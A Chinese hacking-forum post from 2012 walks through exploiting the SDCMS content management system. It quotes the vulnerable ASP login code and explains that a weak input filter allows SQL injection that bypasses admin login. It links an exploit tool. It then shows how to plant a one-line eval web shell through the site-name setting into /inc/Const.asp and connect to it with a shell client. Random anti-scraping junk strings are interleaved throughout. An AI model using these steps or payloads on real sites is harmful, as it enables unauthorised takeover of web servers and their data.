中国网络渗透测试联盟
标题:
SDCMS通杀漏洞利用工具及提权拿SHELL
[打印本页]
作者:
admin
时间:
2012-11-9 20:57
标题:
SDCMS通杀漏洞利用工具及提权拿SHELL
作者:T00LS 鬼哥
) v3 x; N/ K. J6 T
漏洞文件:后台目录/index.asp
# T. x) p3 S# t4 C! o9 r7 F. N2 O
6 q7 l R% e# R& v5 F5 v! Y; D. r0 v7 p
Sub Check
+ b9 k+ J) q6 N5 i
Dim username,password,code,getcode,Rs
6 L; o9 a* R+ h& g- y
IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
, c3 a G! X3 V
username=FilterText(Trim(Request.Form("username")),1)
* c1 C3 c9 Z% p* e* `
password=FilterText(Trim(Request.Form("password")),1)
- J8 K2 S0 i1 |& g5 M
code=Trim(Request.Form("yzm"))
) x& k% k1 d' @( d2 H
getcode=Session("SDCMSCode")
/ g$ i( u% O7 u
IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
" y, x0 y$ I, O; ]
IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"
ied
6 J9 A9 K+ x+ ?% I2 \$ y6 e3 O9 N
IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"
ied
`7 H: F& q; T" L. o' J% C, b
IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"
ied
. ^" j3 A! M1 ?+ x- D# q
IF username="" or password="" Then
- t' d' i+ O R0 u
Echo "用户名或密码不能为空"
ied
M/ K. t; a9 u r2 `
Else
$ x& f0 v0 b7 W% g
Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
* T; x' s: R3 T) g @0 R$ i
IF Rs.Eof Then
* y$ \: w4 @0 e1 Y; h' E# O
AddLog username,GetIp,"登录失败",1
! h5 K9 h; C4 A9 V2 h
Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
$ Q% i9 Q0 o# f
Else
; U6 D, u1 x3 m( u
Add_Cookies "sdcms_id",Rs(0)
- k3 W# ~! ?& l2 d- e% Y K
Add_Cookies "sdcms_name",username
, ~6 X6 y, T! X$ d, `/ U
Add_Cookies "sdcms_pwd",Rs(2)
3 n" E" g! o. [ C" S
Add_Cookies "sdcms_admin",Rs(3)
6 h' ~7 G& d1 U% e8 d0 b/ G
Add_Cookies "sdcms_alllever",Rs(4)
- b! m7 ?. B) i! J( @# x
Add_Cookies "sdcms_infolever",Rs(5)
; Y2 Y+ Q' L4 J: ]
Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
- g( r4 _: }4 x" E# A# l3 E' r
AddLog username,GetIp,"登录成功",1
- k, f# [% b7 }0 Z
'自动删除30天前的Log记录
% J. x# w( Z, n5 e, A8 s
IF Sdcms_DataType Then
6 @* O- [$ X: b$ T9 ?7 `2 I2 d
Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
: L# W$ |8 S- Q* u7 q( N- ^6 P
Else
: a+ U/ b7 W( \, {9 r0 [
Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
) [/ X# @* g' z4 i6 j! ` C3 B: k
End IF
2 S% F! B5 ]4 R! |7 z0 A: s. W5 V' d
Go("sdcms_index.asp")
0 j& C+ u8 U8 o: q; @
End IF
' ]: z- i/ `3 u% j& t. J
Rs.Close
n0 F& Q( d3 h
Set Rs=Nothing
. z3 o1 _) c2 t' ~% v* D
End IF
; c+ Q, o4 `3 @: J
End Sub
" q2 a- D, A. d5 _8 d4 I" J- v4 A. Y
! [2 \$ \ s9 M" y3 J% |
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
r2 m# X. h- `
1 B. C. N( z, k( v) a
Function FilterText(ByVal t0,ByVal t1)
- ?4 H7 P4 ?3 f2 g& J
IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
) a# y# P% I- L# O; H& s/ W
t0=Trim(t0)
" q4 O0 }; a/ s# N+ l+ o- z9 P+ @
Select Case t1
6 v0 O! L5 {( G3 Q% f) ^
Case "1"
: [) ?& j" Y1 ]$ O) t% w
t0=Replace(t0,Chr(32),"")
. v+ c% @" g& _8 P8 t V
t0=Replace(t0,Chr(13),"")
: b+ p/ d4 R2 A$ G5 V( y
t0=Replace(t0,Chr(10)&Chr(10),"")
2 F- e/ P8 Z% T2 N
t0=Replace(t0,Chr(10),"")
e1 f" U: C! a8 Z& u' Y
Case "2"
3 h- E8 |/ d9 {
t0=Replace(t0,Chr(8),"")'回格
" \) f9 T" _( g
t0=Replace(t0,Chr(9),"")'tab(水平制表符)
9 W+ m6 b; m! x3 u( v) z
t0=Replace(t0,Chr(10),"")'换行
* K% A; K) }: L! ~7 I
t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
5 T8 m/ F, S O
t0=Replace(t0,Chr(12),"")'换页
4 k7 i8 N/ ]$ A% `: ]
t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
7 J H A& E$ r. g" |6 L' {: H1 d
t0=Replace(t0,Chr(22),"")
+ h0 x) F" ^: P* q9 l2 k5 x
t0=Replace(t0,Chr(32),"")'空格 SPACE
( ~% n5 ^7 O! Q) V2 F
t0=Replace(t0,Chr(33),"")'!
) r. T. ~8 i& _7 @
t0=Replace(t0,Chr(34),"")'"
; f; p; \, T9 V7 G$ c1 }6 {8 D: u _
t0=Replace(t0,Chr(35),"")'#
: M, u: k8 n, F( E! M
t0=Replace(t0,Chr(36),"")'$
8 c7 @+ |" O7 `! O
t0=Replace(t0,Chr(37),"")'%
8 g9 N9 K; C0 c" S( s! p
t0=Replace(t0,Chr(38),"")'&
* g' o6 m6 c7 v: y' \+ W
t0=Replace(t0,Chr(39),"")''
' ?6 v% D, x# v
t0=Replace(t0,Chr(40),"")'(
S- g2 y5 M9 E7 n
t0=Replace(t0,Chr(41),"")')
" O- [5 X$ U4 N% I6 d2 o
t0=Replace(t0,Chr(42),"")'*
$ l7 C! b" I9 a' ~& R
t0=Replace(t0,Chr(43),"")'+
6 S# e" O* [4 k" z
t0=Replace(t0,Chr(44),"")',
$ I1 q9 m; `% B% q
t0=Replace(t0,Chr(45),"")'-
. H8 ~- k# V- @) o& Y
t0=Replace(t0,Chr(46),"")'.
+ N! j) A7 \3 V
t0=Replace(t0,Chr(47),"")'/
: R% L0 m* P+ O# p4 G
t0=Replace(t0,Chr(58),"")':
0 q1 u$ k9 B: `: Y( k ]
t0=Replace(t0,Chr(59),"")';
3 i, z+ o2 i9 M3 h' D
t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>
* [0 J4 Q: d$ k2 h+ B+ r* ~: z
t0=Replace(t0,Chr(63),"")'?
' O2 I1 c) p9 U4 e/ x
t0=Replace(t0,Chr(64),"")'@
; F0 s8 ^ O9 r; d1 W& d9 e
t0=Replace(t0,Chr(91),"")'\
& W4 [. U; d0 N7 L5 D* V
t0=Replace(t0,Chr(92),"")'\
1 z7 [5 ?" g$ U9 H* G
t0=Replace(t0,Chr(93),"")']
, d: h- n) L" a/ [/ H4 K$ b
t0=Replace(t0,Chr(94),"")'^
# b f: j2 r8 N- w/ U* G" P
t0=Replace(t0,Chr(95),"")'_
' \# e5 `+ d! N* G& `: V* C5 B
t0=Replace(t0,Chr(96),"")'`
+ S% b. `5 D [( D/ M7 J- H
t0=Replace(t0,Chr(123),"")'{
1 v! R! U1 {9 }5 f4 u
t0=Replace(t0,Chr(124),"")'|
% P# h/ P7 a6 g1 n- z
t0=Replace(t0,Chr(125),"")'}
0 r' F- b- n0 e) d
t0=Replace(t0,Chr(126),"")'~
) w* g, q) c6 ^0 d* }# O
Case Else
% X! M. H% V, f5 e
t0=Replace(t0, "&", "&")
% A8 C! J" F) a+ T8 s) v* S
t0=Replace(t0, "'", "'")
% f- s" T7 b& p( v5 K( P
t0=Replace(t0, """", """)
- M3 O" w3 z _/ f: N
t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")
" V/ T, ?! u& Q6 z8 L0 \9 S8 M
End Select
- Q+ G1 ^6 F0 \- i- ~3 [
IF Instr(Lcase(t0),"expression")>0 Then
9 l3 S* \" K2 g+ A b8 G9 m
t0=Replace(t0,"expression","e­xpression", 1, -1, 0)
( G4 t, b$ h$ j q
End If
4 }. y3 F* E2 u5 I# N- R
FilterText=t0
4 w5 ^+ F- Y& S+ Z4 E b; {, O
End Function
: U9 x# T) O8 H) A' {* C
, B/ D( e6 c- G+ f
看到没。直接参数是1 只过滤
4 I! J( z9 ^* t8 O' C
t0=Replace(t0,Chr(32)," ")
. R6 _: _) O% m
t0=Replace(t0,Chr(13),"")
6 Z# {4 ^0 U8 {8 c1 X
t0=Replace(t0,Chr(10)&Chr(10),"
1 J5 R; r2 u+ L3 k; Q7 R# f" p. I
")
. v& ?) T' v# \+ T
t0=Replace(t0,Chr(10),"
$ y Z H$ x' p* B5 o
")
4 K3 O- p. O& y* B! j
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
( a& R/ g4 z X0 `" ^, q* g1 q) Y
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
4 U: z+ a+ y: i: m4 I
" l4 |, W1 F e) [+ g
测试:
7 {( h* |+ t" T$ R* ]: ~
9 o8 ~1 \! c5 u, k
3 \) t4 ^9 o! ]2 K$ f; R( y
现在输入工具上验证码,然后点OK
! H( p0 e' M# e Z
% ~. s- e3 f3 X2 C
@3 i( f3 T9 m" u% | r5 Y2 J4 B
看到我们直接进入后台管理界面了,呵呵!
5 ]4 j9 r" t/ _0 [9 T0 ]$ M2 R6 A+ L
9 g9 R- R1 W3 Z: Z) O: v* X
3 { A0 J9 r* P/ O9 z1 H+ i5 h
7 m+ w/ G( X5 e
这样直接进入后台了。。。。
$ O: z1 M* a& e! I
& ?7 C1 E& z) ]4 i% ^& a' F
$ X7 h: p3 A8 Y" B/ ?4 M
8 _2 Z! j+ l" t8 i
SDCMS提权:
( f0 c% g, ^+ N, g9 P
0 x7 w1 ^$ G0 ~1 E& F
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
" b$ A+ i' w2 W9 |0 s
8 x; \" M8 A% C$ }
9 e7 v: K7 C2 ~1 O% z1 r
& h; o- Y5 C/ b! K& k* v/ d
OK,现在用菜刀连接下!
* f1 J6 @/ T @; O9 j6 p* c. A
/ o% v3 x7 t' H/ `6 x2 o
1 b7 m! v# t& D1 j: W m$ B: P! W
" T& T+ R0 f7 q2 S
* c' g* P- H: U
" G; H- {8 L( l" Z, [# z/ O; `( D
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2